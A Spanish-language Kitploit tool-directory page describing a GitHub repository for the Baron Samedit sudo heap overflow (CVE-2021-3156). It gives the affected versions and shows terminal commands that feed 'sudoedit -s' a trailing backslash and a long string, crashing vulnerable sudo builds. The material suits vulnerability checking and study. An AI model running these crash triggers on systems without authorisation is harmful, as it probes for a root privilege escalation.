Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Baron-Samedit-Heap-Buffer-Overflow-CVE-2021-3156 | Kitploit
Herramientas/GitHubGitHub/shuhaib88/baron-samedit-heap-buffer-overflow-cve-2021-3156
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónRed TeamingExplotación de Binarios
GitHubshuhaib88/baron-samedit-heap-buffer-overflow-cve-2021-3156

Baron-Samedit-Heap-Buffer-Overflow-CVE-2021-3156

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
1hace 1 añoAún no revisado

Baron-Samedit-Heap-Buffer-Overflow-CVE-2021-3156


Versión vulnerable al exploit

La vulnerabilidad Baron Samedit (CVE-2021-3156) afecta a las versiones heredadas de sudo 1.8.2 hasta 1.8.31p2 y a las versiones estables 1.9.0 hasta 1.9.5p1. Esta falla de desbordamiento de búfer basado en montón se introdujo en julio de 2011 mediante el commit 8255ed69 y permaneció sin detectarse durante casi una década.

sudo antes de 1.9.5p2 contiene un error off-by-one que puede provocar un desbordamiento de búfer basado en montón, lo que permite la escalada de privilegios a root mediante "sudoedit -s" y un argumento de línea de comandos que termina con un único carácter de barra invertida.

Comprobando la vulnerabilidad con el comando python

root@kitploit:~
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
root@kitploit:~
malloc(): invalid size (unsorted)
Aborted

Comprobando la vulnerabilidad con el comando python

root@kitploit:~
sudoedit -s '\' `perl -e 'print "A" x 65536'`
root@kitploit:~
malloc(): corrupted top size
Aborted (core dumped)

Uso y resultado en Ubuntu 20.04

root@kitploit:~
shuhaib@somebox:~$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31

shuhaib@somebox:~$ sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted (core dumped)

shuhaib@somebox:~$ sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
Descargar herramienta